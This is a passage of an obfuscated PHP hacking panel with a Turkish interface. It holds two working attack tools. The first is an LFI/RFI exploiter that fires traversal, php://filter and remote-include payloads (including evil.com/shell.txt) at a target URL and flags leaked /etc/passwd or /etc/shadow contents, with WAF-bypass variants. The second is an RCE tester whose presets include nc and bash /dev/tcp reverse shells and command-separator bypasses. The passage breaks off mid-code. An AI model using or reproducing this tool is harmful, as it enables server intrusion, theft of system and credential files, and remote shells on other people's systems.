border-radius: 6px; text-align: center; border: 1px solid rgba(179, 0, 255, 0.1); } .stat-item .number { color: #b300ff; font-size: 18px; font-weight: 700; text-shadow: 0 0 20px rgba(179, 0, 255, 0.3); } .stat-item .label { color: #8866aa; font-size: 9px; text-transform: uppercase; letter-spacing: 0.5px; margin-top: 2px; } .exploit-tabs { display: flex; gap: 4px; margin-bottom: 12px; border-bottom: 1px solid rgba(179, 0, 255, 0.1); padding-bottom: 8px; } .exploit-tab { background: transparent; border: none; padding: 6px 14px; color: #8866aa; font-size: 11px; font-weight: 600; cursor: pointer; border-radius: 4px; transition: all 0.3s; font-family: 'JetBrains Mono', monospace; } .exploit-tab:hover { color: #d4bfff; background: rgba(179, 0, 255, 0.1); } .exploit-tab.active { color: #b300ff; background: rgba(179, 0, 255, 0.15); box-shadow: 0 0 20px rgba(179, 0, 255, 0.1); } </style> <!-- Exploit Stats --> <div class="exploit-stats"> <div class="stat-item"> <div class="number" id="totalExploits">0</div> <div class="label">Toplam Test</div> </div> <div class="stat-item"> <div class="number" id="successExploits">0</div> <div class="label">Başarılı</div> </div> <div class="stat-item"> <div class="number" id="vulnFound">0</div> <div class="label">Zafiyet Bulunan</div> </div> <div class="stat-item"> <div class="number" id="exploitSpeed">0</div> <div class="label">Hız (test/s)</div> </div> </div> <!-- Exploit Grid --> <div class="exploit-grid"> <!-- ===== LFI / RFI TEST ===== --> <div class="exploit-card"> <h4><i class="fas fa-skull"></i> LFI / RFI Exploiter</h4> <div class="exploit-tabs"> <button class="exploit-tab active" onclick="switchExploitTab(this, 'lfi')">LFI</button> <button class="exploit-tab" onclick="switchExploitTab(this, 'rfi')">RFI</button> <button class="exploit-tab" onclick="switchExploitTab(this, 'directory')">Dir Traversal</button> </div> <form method="POST" id="exploitForm"> <div class="exploit-input-group"> <input type="text" name="exploit_url" placeholder="Target URL (örn: http://site.com/page.php?file=)" value="<?php echo htmlspecialchars($_POST["\145\x78\160\154\157\x69\164\x5f\165\x72\x6c"] ?? "\150\164\x74\160\72\x2f\57\x6c\157\143\141\154\x68\157\163\164\57\160\141\x67\145\x2e\160\x68\x70\x3f\146\x69\x6c\x65\75"); ?> "> </div> <div class="exploit-input-group"> <select name="exploit_payload_type" id="payloadType"> <option value="common">🔰 Yaygın Payloadlar</option> <option value="advanced">⚡ Gelişmiş Payloadlar</option> <option value="bypass">🛡️ Bypass Payloadları</option> <option value="custom">🎯 Özel Payload</option> </select> </div> <div class="exploit-input-group" id="customPayloadContainer" style="display:none;"> <input type="text" name="custom_payload" placeholder="Özel payload girin..."> </div> <div class="checkbox-group"> <label><input type="checkbox" name="use_encoding" checked> URL Encode</label> <label><input type="checkbox" name="use_double_encoding"> Çift Encode</label> <label><input type="checkbox" name="use_null_byte" id="nullByte"> Null Byte (%00)</label> <label><input type="checkbox" name="use_waf_bypass" id="wafBypass"> WAF Bypass</label> </div> <div class="btn-group-exploit"> <button type="submit" name="exploit_action" value="lfi_scan" class="btn-exploit btn-exploit-danger"> <i class="fas fa-search"></i> LFI Tara </button> <button type="submit" name="exploit_action" value="rfi_scan" class="btn-exploit btn-exploit-danger"> <i class="fas fa-globe"></i> RFI Tara </button> <button type="submit" name="exploit_action" value="auto_detect" class="btn-exploit btn-exploit-success"> <i class="fas fa-robot"></i> Otomatik </button> </div> </form> <?php if (isset($_POST["\x65\170\160\x6c\x6f\x69\x74\137\141\143\164\151\x6f\156"]) && in_array($_POST["\x65\170\160\154\x6f\x69\164\x5f\141\x63\164\x69\157\156"], array("\154\x66\151\137\x73\x63\141\156", "\162\146\151\137\x73\143\x61\x6e", "\141\165\164\x6f\137\x64\x65\164\145\143\164"))) { ?> <div class="exploit-terminal" id="terminalOutput"> <?php $url = $_POST["\x65\x78\160\154\157\151\x74\137\165\x72\154"]; $use_encoding = isset($_POST["\165\x73\x65\137\145\156\x63\157\144\x69\x6e\x67"]); $use_double = isset($_POST["\165\x73\145\x5f\x64\157\165\x62\154\x65\137\x65\x6e\x63\157\x64\x69\156\x67"]); $use_null = isset($_POST["\165\x73\145\137\x6e\165\154\x6c\x5f\142\x79\164\145"]); $use_waf = isset($_POST["\165\x73\145\x5f\167\141\146\x5f\142\x79\x70\141\x73\163"]); $lfi_payloads = array("\x63\157\155\155\157\x6e" => array("\x2f\x65\x74\143\57\x70\x61\x73\x73\x77\x64", "\56\56\x2f\56\56\57\x2e\56\57\x2e\56\x2f\145\x74\143\x2f\x70\141\163\x73\167\144", "\56\56\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\56\57\x2e\56\x2f\x65\x74\143\57\x70\141\x73\163\167\144", "\57\x65\x74\143\x2f\x73\x68\141\144\157\x77", "\x2f\145\164\143\57\x68\x6f\x73\164\x73", "\x2f\x70\162\157\x63\57\163\145\x6c\x66\x2f\x65\x6e\166\151\x72\x6f\156", "\x2f\x76\x61\x72\57\x6c\157\147\x2f\141\160\x61\x63\150\x65\x32\57\141\143\143\x65\x73\163\x2e\154\157\147", "\x2f\x76\141\162\57\154\x6f\147\x2f\x6e\147\151\x6e\170\x2f\141\143\143\x65\163\x73\56\154\157\147", "\103\72\x5c\x57\151\156\x64\x6f\x77\163\x5c\x77\151\x6e\56\151\156\151", "\103\72\134\127\x69\x6e\x64\157\167\x73\134\123\x79\x73\164\x65\x6d\63\62\134\x64\x72\151\166\145\x72\x73\134\x65\164\x63\x5c\x68\157\x73\164\x73", "\x2e\56\x5c\56\x2e\134\x2e\x2e\x5c\127\151\x6e\144\x6f\167\163\134\x77\x69\x6e\x2e\151\156\x69"), "\141\144\166\141\x6e\143\x65\144" => array("\x70\150\x70\72\x2f\x2f\146\151\x6c\164\x65\162\57\x63\157\156\166\x65\162\x74\56\x62\141\163\145\x36\64\x2d\x65\156\x63\157\x64\x65\57\x72\x65\x73\157\x75\162\143\145\75\57\x65\164\x63\x2f\160\141\x73\x73\167\x64", "\160\150\x70\72\x2f\57\146\x69\154\164\145\162\x2f\x63\x6f\156\166\x65\x72\164\x2e\142\141\163\x65\x36\x34\x2d\x65\156\x63\157\144\x65\x2f\x72\x65\163\157\165\162\x63\x65\75\x2f\x65\164\143\57\x73\x68\141\x64\157\167", "\x70\150\x70\72\57\57\146\151\x6c\x74\145\x72\57\x63\x6f\x6e\166\145\x72\164\56\151\x63\157\156\166\56\125\124\x46\55\70\x2e\125\x54\x46\55\67\57\162\145\163\157\165\162\143\x65\x3d\x2f\x65\164\x63\x2f\x70\141\163\163\x77\144", "\x65\x78\160\x65\x63\x74\72\x2f\x2f\151\x64", "\144\x61\x74\141\x3a\x2f\x2f\164\x65\170\x74\x2f\x70\x6c\141\151\x6e\73\142\x61\x73\145\66\64\54\120\x44\x39\x77\141\x48\101\x67\x63\107\x68\167\x61\x57\65\x6d\x62\171\x67\160\120\172\64\x3d"), "\142\171\x70\141\x73\163" => array("\x2f\x65\164\x63\57\x70\141\163\163\167\x64\x25\60\60", "\57\x65\164\143\x2f\x70\141\x73\163\x77\x64\57\56\x2f\56\x2f\x2e\x2f\56", "\57\145\x74\143\x2f\57\160\x61\163\x73\x77\144", "\57\145\164\143\x2f\x2e\x2f\x70\x61\163\163\167\144", "\x2f\145\x74\x63\57\x2e\x2e\57\145\x74\143\x2f\x70\141\x73\x73\167\144", "\x2f\x65\164\x63\x2f\x70\141\x73\x73\x77\x64\x25\x32\x30")); $rfi_payloads = array("\150\164\164\160\x3a\57\57\x65\166\151\154\56\143\157\155\x2f\x73\x68\x65\x6c\x6c\x2e\164\x78\164", "\x68\x74\x74\160\x73\x3a\57\57\x70\x61\x73\164\x65\142\151\x6e\56\x63\x6f\x6d\x2f\x72\141\x77\57\163\150\x65\x6c\x6c\143\157\x64\145", "\150\x74\164\x70\x3a\57\57\x31\62\x37\x2e\60\56\60\x2e\x31\x2f\163\150\145\154\x6c\x2e\160\150\x70", "\x64\x61\164\x61\x3a\x2f\57\x74\x65\x78\x74\57\x70\x6c\x61\x69\x6e\x3b\142\141\163\145\x36\64\54\120\x44\71\x77\141\110\x41\147\143\63\154\172\x64\x47\x56\164\x4b\103\x52\146\122\60\126\125\x57\171\144\152\142\x57\121\156\130\x53\x6b\67\x49\104\x38\53", "\150\x74\164\160\x3a\x2f\57\x31\x39\62\x2e\61\66\x38\56\61\56\61\57\163\x68\x65\154\154\56\164\x78\x74"); $selected_type = $_POST["\145\170\x70\x6c\x6f\151\x74\137\x70\x61\x79\154\x6f\x61\144\x5f\x74\171\160\145"] ?? "\x63\157\x6d\155\157\156"; $payloads = array(); $exploit_type = $_POST["\x65\170\x70\x6c\x6f\151\164\x5f\141\143\x74\x69\157\x6e"]; if ($exploit_type == "\154\x66\151\137\163\143\x61\156" || $exploit_type == "\141\165\164\x6f\137\144\x65\x74\x65\143\x74") { if ($selected_type == "\x63\x75\x73\164\x6f\x6d" && !empty($_POST["\143\x75\163\164\x6f\155\137\x70\141\171\x6c\x6f\x61\144"])) { $payloads = array($_POST["\x63\165\x73\164\157\x6d\x5f\160\141\x79\x6c\x6f\141\x64"]); } else { $payloads = $lfi_payloads[$selected_type] ?? $lfi_payloads["\x63\x6f\x6d\x6d\157\x6e"]; } } elseif ($exploit_type == "\x72\146\151\x5f\x73\x63\141\x6e") { if ($selected_type == "\x63\165\x73\x74\x6f\155" && !empty($_POST["\x63\x75\163\x74\157\155\x5f\x70\x61\171\x6c\157\x61\144"])) { $payloads = array($_POST["\143\x75\x73\164\x6f\155\137\x70\141\x79\154\157\x61\144"]); } else { $payloads = $rfi_payloads; } } if ($use_waf) { $waf_payloads = array(); foreach ($payloads as $p) { $waf_payloads[] = str_replace("\57", "\x5c\57", $p); $waf_payloads[] = str_replace("\57", "\x25\x32\x46", $p); $waf_payloads[] = $p . "\x2f\56\57"; } $payloads = array_merge($payloads, $waf_payloads); } if ($use_null) { foreach ($payloads as &$p) { $p .= "\45\60\60"; } } echo "\x3c\144\x69\x76\40\x63\154\141\163\163\x3d\42\x74\x65\162\155\55\154\x69\x6e\145\x22\x3e\74\163\160\x61\156\x20\143\154\x61\163\163\x3d\x22\160\x72\157\155\x70\164\x22\76\xe2\x9e\x9c\74\x2f\x73\x70\141\x6e\76\x20\74\x73\160\141\x6e\40\x63\x6c\141\163\163\x3d\42\151\x6e\x66\157\x22\76\x45\x78\x70\x6c\157\151\x74\40\x62\x61\305\237\x6c\x61\x74\304\261\154\xc4\xb1\x79\157\162\56\x2e\x2e\x3c\57\x73\160\x61\156\76\x3c\x2f\144\x69\166\76"; echo "\74\144\x69\x76\40\x63\154\141\x73\163\75\x22\x74\145\x72\155\55\x6c\151\x6e\145\x22\x3e\x3c\163\160\x61\156\40\x63\154\141\163\x73\x3d\42\160\x72\157\155\160\x74\x22\x3e\342\x9e\234\74\x2f\x73\160\x61\156\x3e\40\124\141\x72\x67\145\164\x3a\40\74\163\160\x61\x6e\40\143\x6c\141\x73\x73\75\x22\x68\151\147\150\154\151\x67\x68\164\x22\76" . htmlspecialchars($url) . "\74\x2f\163\160\141\156\76\74\57\x64\x69\x76\76"; echo "\x3c\144\151\166\x20\x63\154\141\x73\163\75\x22\164\x65\162\155\55\x6c\151\156\145\42\x3e\x3c\163\160\x61\x6e\x20\x63\x6c\x61\163\x73\x3d\42\160\x72\157\155\x70\164\42\x3e\342\236\x9c\x3c\x2f\163\x70\x61\156\x3e\40" . count($payloads) . "\x20\160\x61\171\154\157\141\x64\40\164\x65\x73\x74\x20\x65\x64\x69\154\145\x63\145\153\x3c\57\x64\151\x76\x3e"; echo "\x3c\x64\151\166\x20\143\x6c\x61\163\163\75\42\164\145\x72\155\55\154\151\x6e\145\42\x3e\x3c\x73\x70\x61\x6e\x20\x63\154\x61\x73\x73\75\x22\160\162\157\155\160\x74\x22\x3e\xe2\236\x9c\x3c\57\163\x70\x61\156\x3e\x20\75\x3d\x3d\x3d\x3d\75\x3d\75\x3d\75\x3d\x3d\x3d\x3d\75\x3d\75\75\75\75\75\75\x3d\75\x3d\75\75\x3d\x3d\x3d\75\x3d\x3d\x3d\x3d\75\x3d\75\75\75\x3c\57\144\x69\166\x3e"; $success_count = 0; $vuln_count = 0; $start_time = microtime(true); foreach ($payloads as $index => $payload) { $test_url = $url; if ($use_encoding) { $payload = urlencode($payload); } if ($use_double) { $payload = urlencode(urlencode($payload)); } $full_url = $test_url . $payload; $full_url .= (strpos($full_url, "\x3f") !== false ? "\46" : "\77") . "\x5f\x3d" . rand(1000, 9999); $ch = curl_init($full_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, "\x4d\157\x7a\x69\x6c\154\x61\57\65\x2e\60\x20\x28\x57\x69\156\x64\157\167\x73\40\x4e\124\x20\61\x30\56\60\73\40\127\x69\156\x36\x34\73\40\x78\x36\x34\51\x20\x41\160\160\154\145\127\x65\142\113\x69\x74\x2f\65\x33\x37\x2e\x33\66"); curl_setopt($ch, CURLOPT_HEADER, true); $response = curl_exec($ch); $info = curl_getinfo($ch); $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $body = substr($response, $header_size); curl_close($ch); $is_vulnerable = false; $vuln_type = ''; $status_class = "\x65\162\x72\x6f\162"; $status_text = "\xe2\x9d\x8c\x20\x42\x61\305\x9f\141\x72\304\261\163\xc4\xb1\172"; $vuln_patterns = array("\162\157\157\x74\x3a\170\x3a\x30\x3a\60" => "\114\x46\x49\x20\x2d\x20\x2f\145\x74\x63\57\160\141\163\x73\x77\144", "\162\x6f\x6f\164\x3a\72" => "\x4c\106\x49\40\x2d\40\57\x65\164\143\x2f\x73\x68\x61\x64\x6f\x77", "\61\x32\x37\56\60\56\60\x2e\61" => "\x4c\106\111\40\55\40\x2f\145\x74\x63\57\x68\x6f\x73\164\x73", "\120\x48\120" => "\114\106\111\40\x2d\x20\120\x48\120\40\106\x69\x6c\164\x65\162", "\x41\120\x41\x43\x48\x45" => "\114\106\111\40\x2d\40\x41\x70\141\x63\x68\145\x20\x4c\157\x67", "\x6e\x67\151\x6e\170" => "\x4c\106\111\40\x2d\x20\116\x67\151\156\170\40\x4c\x6f\x67", "\127\x69\156\x64\x6f\x77\163" => "\114\106\111\x20\55\40\127\151\156\144\157\167\163\x20\106\x69\x6c\x65\163", "\133\x66\157\x6e\164\x73\135" => "\x4c\x46\x49\x20\x2d\40\x77\x69\x6e\56\x69\x6e\151"); foreach ($vuln_patterns as $pattern => $type) { if (stripos($body, $pattern) !== false) { $is_vulnerable = true; $vuln_type = $type; break; } } if (strlen($body) > 100 && !$is_vulnerable) { $body_clean = preg_replace("\57\134\163\53\57", "\40", $body); if (strpos($body_clean, "\x72\x6f\x6f\164") !== false || strpos($body_clean, "\142\x69\156") !== false || strpos($body_clean, "\145\164\x63") !== false) { $is_vulnerable = true; $vuln_type = "\x4c\106\111\x20\55\40\x50\157\x73\x73\151\x62\154\x65"; } } if ($info["\x68\164\164\160\x5f\x63\x6f\x64\145"] == 200 && strlen($body) > 50) { $status_class = "\x77\141\162\x6e\151\156\147"; $status_text = "\xe2\232\240\xef\270\217\40\x32\x30\x30\40\x4f\x4b"; if ($is_vulnerable) { $status_class = "\163\165\143\x63\145\x73\x73"; $status_text = "\xe2\234\205\40\x5a\x41\x46\304\xb0\x59\x45\x54\x21"; $success_count++; $vuln_count++; } } else { $status_text = "\342\235\x8c\x20" . ($info["\150\164\164\x70\137\x63\157\144\x65"] ?: "\124\x69\x6d\x65\x6f\165\x74"); } echo "\x3c\x64\151\x76\x20\x63\154\x61\x73\x73\75\42\x74\x65\x72\155\x2d\x6c\x69\156\x65\42\x3e"; echo "\x3c\163\160\141\x6e\x20\x63\x6c\x61\163\163\x3d\x22\160\162\x6f\155\x70\164\x22\x3e\133" . ($index + 1) . "\x2f" . count($payloads) . "\x5d\x3c\57\163\160\x61\156\76\x20"; echo "\x3c\x73\x70\x61\x6e\x20\143\154\141\163\x73\75\x22\x70\141\x79\x6c\157\x61\144\x22\76" . htmlspecialchars(substr($payload, 0, 50)) . "\74\57\x73\x70\141\x6e\x3e\40\342\206\x92\x20"; echo "\74\163\160\141\x6e\40\143\x6c\141\x73\x73\x3d\42" . $status_class . "\42\76" . $status_text . "\x3c\57\163\160\x61\x6e\76"; if ($is_vulnerable) { echo "\x20\74\x73\x70\141\156\x20\143\x6c\x61\x73\x73\x3d\x22\x73\165\143\143\145\163\x73\x22\x3e\360\x9f\x94\264\x20" . htmlspecialchars($vuln_type) . "\74\57\163\x70\141\x6e\76"; } echo "\x3c\57\144\x69\x76\x3e"; if ($is_vulnerable && strlen($body) < 2000) { echo "\x3c\144\151\166\40\143\x6c\141\163\163\x3d\x22\x74\145\x72\x6d\x2d\x6c\151\x6e\145\x22\76\x3c\x73\x70\x61\x6e\40\x63\x6c\141\163\163\x3d\42\160\x72\x6f\155\160\x74\42\76\342\224\224\xe2\224\200\74\x2f\163\x70\141\x6e\76\x20\74\x73\160\141\156\x20\143\154\x61\163\x73\x3d\x22\151\156\x66\x6f\x22\x3e\304\xb0\303\xa7\145\162\x69\x6b\x3a\x3c\x2f\x73\160\x61\156\x3e\x3c\x2f\x64\x69\x76\76"; echo "\74\144\151\166\40\x63\x6c\x61\163\x73\x3d\x22\x74\x65\x72\155\x2d\x6c\151\x6e\145\42\76\74\x70\162\x65\x20\x63\154\x61\x73\x73\x3d\42\x6f\x75\x74\160\165\x74\x2d\142\x6c\157\143\153\42\76" . htmlspecialchars(substr($body, 0, 500)) . "\x2e\x2e\56\74\x2f\x70\x72\x65\x3e\x3c\x2f\144\151\166\x3e"; } flush(); usleep(50000); } $elapsed = microtime(true) - $start_time; $speed = $elapsed > 0 ? count($payloads) / $elapsed : 0; echo "\x3c\x64\x69\x76\40\x63\x6c\x61\x73\163\75\x22\x74\x65\162\x6d\x2d\154\151\156\145\x22\76\74\163\160\x61\156\40\143\x6c\141\163\x73\75\x22\x70\162\x6f\x6d\160\x74\42\76\xe2\x9e\x9c\x3c\57\x73\160\141\156\x3e\40\75\x3d\x3d\75\x3d\x3d\75\x3d\75\75\x3d\x3d\x3d\75\x3d\75\x3d\75\x3d\x3d\75\x3d\75\75\x3d\75\75\x3d\x3d\75\x3d\75\75\x3d\75\75\x3d\x3d\x3d\75\x3c\57\x64\x69\166\76"; echo "\74\x64\x69\x76\40\143\x6c\x61\163\x73\x3d\42\164\145\162\x6d\x2d\x6c\151\x6e\145\42\76\74\163\160\141\x6e\40\x63\154\x61\x73\163\x3d\42\160\x72\157\x6d\x70\164\42\x3e\342\x9e\234\x3c\x2f\x73\160\141\x6e\x3e\x20\74\x73\x70\141\156\40\143\x6c\x61\x73\163\x3d\42\163\165\x63\143\145\163\x73\x22\x3e\xe2\x9c\x85\x20\102\141\305\x9f\141\x72\304\xb1\x6c\304\xb1\72\x20" . $success_count . "\74\x2f\163\160\x61\x6e\76\x3c\x2f\x64\151\166\x3e"; echo "\74\x64\151\166\40\x63\154\141\x73\163\x3d\42\164\145\162\x6d\x2d\x6c\x69\156\145\x22\76\x3c\x73\x70\x61\156\x20\x63\x6c\x61\x73\x73\75\42\160\162\x6f\x6d\160\164\x22\x3e\342\x9e\x9c\x3c\57\x73\x70\141\156\x3e\x20\x3c\163\160\x61\x6e\x20\x63\154\141\x73\163\75\x22\167\x61\162\156\151\x6e\147\x22\x3e\342\x9a\xa0\xef\xb8\217\x20\x5a\x61\x66\x69\171\x65\x74\72\40" . $vuln_count . "\74\x2f\163\x70\x61\x6e\x3e\x3c\57\x64\151\x76\76"; echo "\74\x64\x69\166\x20\143\x6c\x61\163\163\75\42\x74\145\x72\155\55\x6c\x69\x6e\145\x22\76\74\163\160\141\x6e\40\143\x6c\141\x73\x73\x3d\42\160\x72\x6f\155\160\x74\42\76\342\236\234\x3c\57\163\160\141\156\x3e\x20\74\163\x70\x61\156\x20\x63\154\x61\x73\x73\x3d\42\151\x6e\x66\157\x22\76\xe2\217\xb1\xef\270\x8f\x20\x53\303\xbc\162\x65\72\40" . number_format($elapsed, 2) . "\163\74\57\163\160\x61\x6e\76\x3c\x2f\x64\x69\166\x3e"; echo "\74\144\x69\166\x20\143\154\141\163\163\x3d\42\x74\x65\162\x6d\55\x6c\x69\156\145\42\76\x3c\x73\160\x61\x6e\40\x63\154\x61\163\163\x3d\x22\160\x72\157\x6d\x70\164\42\x3e\xe2\236\234\74\57\x73\x70\141\156\76\x20\x3c\x73\x70\141\156\40\143\154\141\x73\163\x3d\x22\x69\x6e\146\157\42\x3e\xf0\237\x9a\x80\x20\110\xc4\261\x7a\72\x20" . number_format($speed, 2) . "\x20\164\x65\163\164\x2f\163\74\x2f\163\160\x61\156\76\x3c\x2f\x64\151\x76\x3e"; ?> <script> document.getElementById('totalExploits').textContent = <?php echo count($payloads); ?> ; document.getElementById('successExploits').textContent = <?php echo $success_count; ?> ; document.getElementById('vulnFound').textContent = <?php echo $vuln_count; ?> ; document.getElementById('exploitSpeed').textContent = <?php echo number_format($speed, 1); ?> ; </script> </div> <?php } ?> </div> <!-- ===== RCE / COMMAND INJECTION - FIXED ===== --> <div class="exploit-card"> <h4><i class="fas fa-code"></i> RCE / Command Injection</h4> <form method="POST"> <div class="exploit-input-group"> <input type="text" name="exploit_rce_url" placeholder="Target URL (örn: http://site.com/shell.php?cmd=)" value="<?php echo htmlspecialchars($_POST["\145\x78\160\x6c\157\151\164\x5f\162\143\x65\137\x75\x72\x6c"] ?? "\150\164\164\x70\72\x2f\x2f\154\157\x63\x61\x6c\150\157\163\164\x2f\163\150\145\154\x6c\x2e\x70\x68\160\x3f\x63\155\x64\75"); ?> "> </div> <div class="exploit-input-group"> <select name="exploit_cmd_type" id="cmdType"> <option value="basic">🔧 Basic Commands</option> <option value="info">📊 System Info</option> <option value="file">📁 File Operations</option> <option value="shell">💀 Reverse Shell</option> <option value="custom">🎯 Custom Command</option> </select> </div> <div class="exploit-input-group" id="customCmdContainer" style="display:none;"> <input type="text" name="custom_command" placeholder="Özel komut girin..."> </div> <div class="exploit-input-group"> <textarea name="command_list" rows="3" placeholder="Komutlar (her satıra bir)">whoami id uname -a cat /etc/passwd ls -la</textarea> </div> <div class="checkbox-group"> <label><input type="checkbox" name="cmd_encoding" checked> URL Encode</label> <label><input type="checkbox" name="cmd_bypass"> Bypass Teknikleri</label> <label><input type="checkbox" name="cmd_base64"> Base64</label> </div> <div class="btn-group-exploit"> <button type="submit" name="exploit_action" value="rce_test" class="btn-exploit btn-exploit-danger"> <i class="fas fa-terminal"></i> RCE Test </button> <button type="submit" name="exploit_action" value="rce_bruteforce" class="btn-exploit btn-exploit-warning"> <i class="fas fa-bolt"></i> Brute Force </button> </div> </form> <?php if (isset($_POST["\145\x78\160\154\157\x69\x74\137\x61\143\x74\151\x6f\x6e"]) && in_array($_POST["\145\x78\160\x6c\157\x69\x74\137\x61\143\x74\151\157\156"], array("\162\x63\145\137\164\145\163\x74", "\x72\143\x65\137\142\162\x75\x74\x65\146\157\162\x63\145"))) { ?> <div class="exploit-terminal"> <?php $rce_url = $_POST["\145\x78\160\x6c\157\x69\x74\137\162\143\x65\x5f\x75\x72\x6c"]; $cmd_type = $_POST["\x65\x78\x70\154\157\x69\164\x5f\x63\155\144\x5f\x74\171\x70\145"] ?? "\142\x61\x73\151\143"; $commands = array(); $cmd_presets = array("\142\141\163\151\143" => array("\167\x68\x6f\141\155\x69", "\x69\x64", "\x75\156\x61\155\145\40\x2d\x61", "\160\x77\144", "\154\x73\40\x2d\154\141"), "\151\x6e\x66\157" => array("\143\141\164\40\x2f\x65\164\143\x2f\157\163\55\x72\x65\154\145\141\x73\145", "\143\x61\x74\40\x2f\x70\x72\157\x63\57\x76\x65\x72\x73\151\x6f\156", "\x64\x66\x20\55\150", "\146\162\145\145\40\55\155", "\x70\x73\x20\x61\165\x78"), "\146\x69\154\145" => array("\x63\141\x74\x20\x2f\x65\164\x63\x2f\x70\x61\163\x73\x77\x64", "\x63\141\x74\40\57\145\164\143\x2f\x73\x68\141\x64\157\167", "\x6c\163\40\x2d\x6c\x61\x20\x2f\x76\141\162\x2f\167\167\167\x2f\150\x74\155\154", "\146\151\x6e\x64\40\57\40\55\156\141\155\145\40\x2a\x2e\x70\x68\x70\40\x32\76\57\144\x65\166\57\x6e\x75\154\x6c"), "\163\x68\x65\154\154" => array("\156\x63\x20\55\145\40\x2f\x62\151\x6e\57\163\150\x20\x31\62\67\56\60\56\x30\56\61\40\x34\x34\x34\64", "\142\x61\163\x68\40\x2d\x69\40\x3e\46\40\x2f\x64\x65\166\x2f\x74\143\160\57\x31\62\67\56\60\56\60\56\61\57\x34\x34\x34\64\x20\x30\76\x26\61", "\160\171\x74\x68\157\156\40\55\143\x20\42\x69\x6d\160\x6f\x72\164\40\160\x74\x79\x3b\160\x74\171\x2e\x73\x70\x61\167\156\x28\47\57\142\x69\x6e\57\142\141\x73\150\47\51\42")); if ($cmd_type == "\x63\x75\x73\x74\157\x6d" && !empty($_POST["\143\x75\x73\164\157\x6d\137\x63\x6f\155\x6d\x61\156\x64"])) { $commands = array($_POST["\x63\x75\163\x74\157\155\x5f\143\157\155\x6d\141\x6e\144"]); } else { $input_commands = explode("\12", trim($_POST["\143\x6f\155\155\x61\x6e\x64\x5f\154\x69\x73\x74"])); $commands = array_filter(array_map("\x74\x72\151\155", $input_commands)); if (empty($commands)) { $commands = $cmd_presets[$cmd_type] ?? $cmd_presets["\142\141\x73\x69\x63"]; } } $cmd_encoding = isset($_POST["\x63\155\144\x5f\145\x6e\143\157\144\x69\156\x67"]); $cmd_bypass = isset($_POST["\143\x6d\x64\x5f\142\171\160\141\163\x73"]); $cmd_base64 = isset($_POST["\143\x6d\x64\137\142\x61\163\145\x36\x34"]); $bypass_payloads = array("\73", "\174", "\174\x7c", "\x26", "\x26\x26", "\140", "\x24\50\51", "\x25\60\141", "\x25\x30\144", "\x24\173\x49\x46\123\x7d", "\x24\x49\106\x53"); echo "\x3c\x64\151\166\x20\143\154\x61\163\163\75\x22\x74\x65\162\x6d\55\x6c\x69\156\x65\x22\x3e\74\163\160\141\156\40\x63\154\x61\163\163\75\42\x70\162\x6f\155\x70\164\42\76\342\x9e\x9c\74\x2f\163\x70\x61\156\76\x20\x3c\163\x70\141\x6e\x20\x63\154\141\163\x73\x3d\42\151\156\x66\x6f\x22\x3e\122\x43\105\x20\x45\x78\x70\154\x6f\151\164\x20\x62\x61\305\x9f\154\141\x74\304\xb1\x6c\xc4\261\x79\x6f\162\x2e\56\x2e\x3c\57\x73\160\x61\156\x3e\74\x2f\144\x69\x76\76"; echo "\x3c\x64\151\166\x20\x63\154\141\x73\163\x3d\42\x74\145\x72\155\55\x6c\151\156\145\x22\x3e\74\x73\160\x61\156\x20\143\x6c\141\x73\163\75\42\x70\x72\157\155\160\x74\x22\76\342\236\234\x3c\57\163\160\x61\x6e\x3e\40\x54\x61\x72\x67\x65\x74\72\40\74\x73\x70\x61\156\x20\x63\x6c\x61\163\x73\x3d\x22\x68\x69\147\150\154\151\x67\150\x74\42\x3e" . htmlspecialchars($rce_url) . "\x3c\x2f\x73\160\x61\x6e\76\x3c\57\144\151\x76\76"; echo "\x3c\x64\x69\x76\x20\143\154\x61\163\163\75\x22\x74\145\x72\x6d\x2d\154\151\x6e\145\42\x3e\74\x73\x70\x61\156\40\143\x6c\x61\x73\163\x3d\42\160\x72\x6f\155\x70\164\42\76\xe2\236\x9c\x3c\57\x73\x70\x61\x6e\76\x20" . count($commands) . "\x20\x6b\157\x6d\x75\x74\x20\x74\x65\x73\164\40\x65\144\x69\154\x65\x63\145\153\x3c\x2f\x64\151\166\x3e"; echo "\x3c\144\x69\x76\40\x63\x6c\141\x73\163\75\x22\x74\x65\x72\x6d\x2d\154\x69\156\145\x22\76\x3c\163\x70\x61\156\x20\143\x6c\141\x73\163\x3d\42\160\162\x6f\x6d\160\x74\42\x3e\xe2\236\234\x3c\x2f\163\160\141\x6e\76\x20\75\75\75\75\75\75\75\x3d\75\x3d\x3d\75\75\x3d\75\x3d\x3d\x3d\75\75\75\75\x3d\x3d\x3d\x3d\75\x3d\x3d\x3d\x3d\75\x3d\75\x3d\75\75\x3d\75\x3d\x3c\57\144\x69\166\x3e"; $executed = 0; $successful = 0; foreach ($commands as $cmd) { if (empty($cmd)) { continue; } $test_cmds = array($cmd); if ($cmd_bypass) { foreach ($bypass_payloads as $bypass) { if (strpos($cmd, "\40") !== false) { $test_cmds[] = str_replace("\x20", $bypass, $cmd); } $test_cmds[] = $cmd . $bypass . "\151\144"; } } foreach ($test_cmds as $test_cmd) { $executed++; $final_cmd = $test_cmd; if ($cmd_encoding) { $final_cmd = urlencode($final_cmd); } if ($cmd_base64) { $final_cmd = base64_encode($final_cmd); } $full_url = $rce_url . $final_cmd; $ch = curl_init($full_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, "\115\157\x7a\151\154\x6c\x61\57\65\56\60\x20\x28\127\151\x6e\x64\x6f\167\163\40\116\x54\x20\61\x30\x2e\x30\73\40\x57\x69\156\66\64\x3b\x20\x78\66\64\51\40\101\x70\160\154\x65\x57\x65\142\113\x69\164\57\65\63\67\56\63\x36"); $response = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); $status_class = "\x65\162\x72\x6f\x72"; $status_text = "\342\x9d\214\x20\102\x61\305\237\x61\x72\xc4\xb1\x73\304\261\x7a"; if ($info["\x68\x74\164\x70\137\x63\x6f\144\145"] == 200 && strlen($response) > 10) { $status_class = 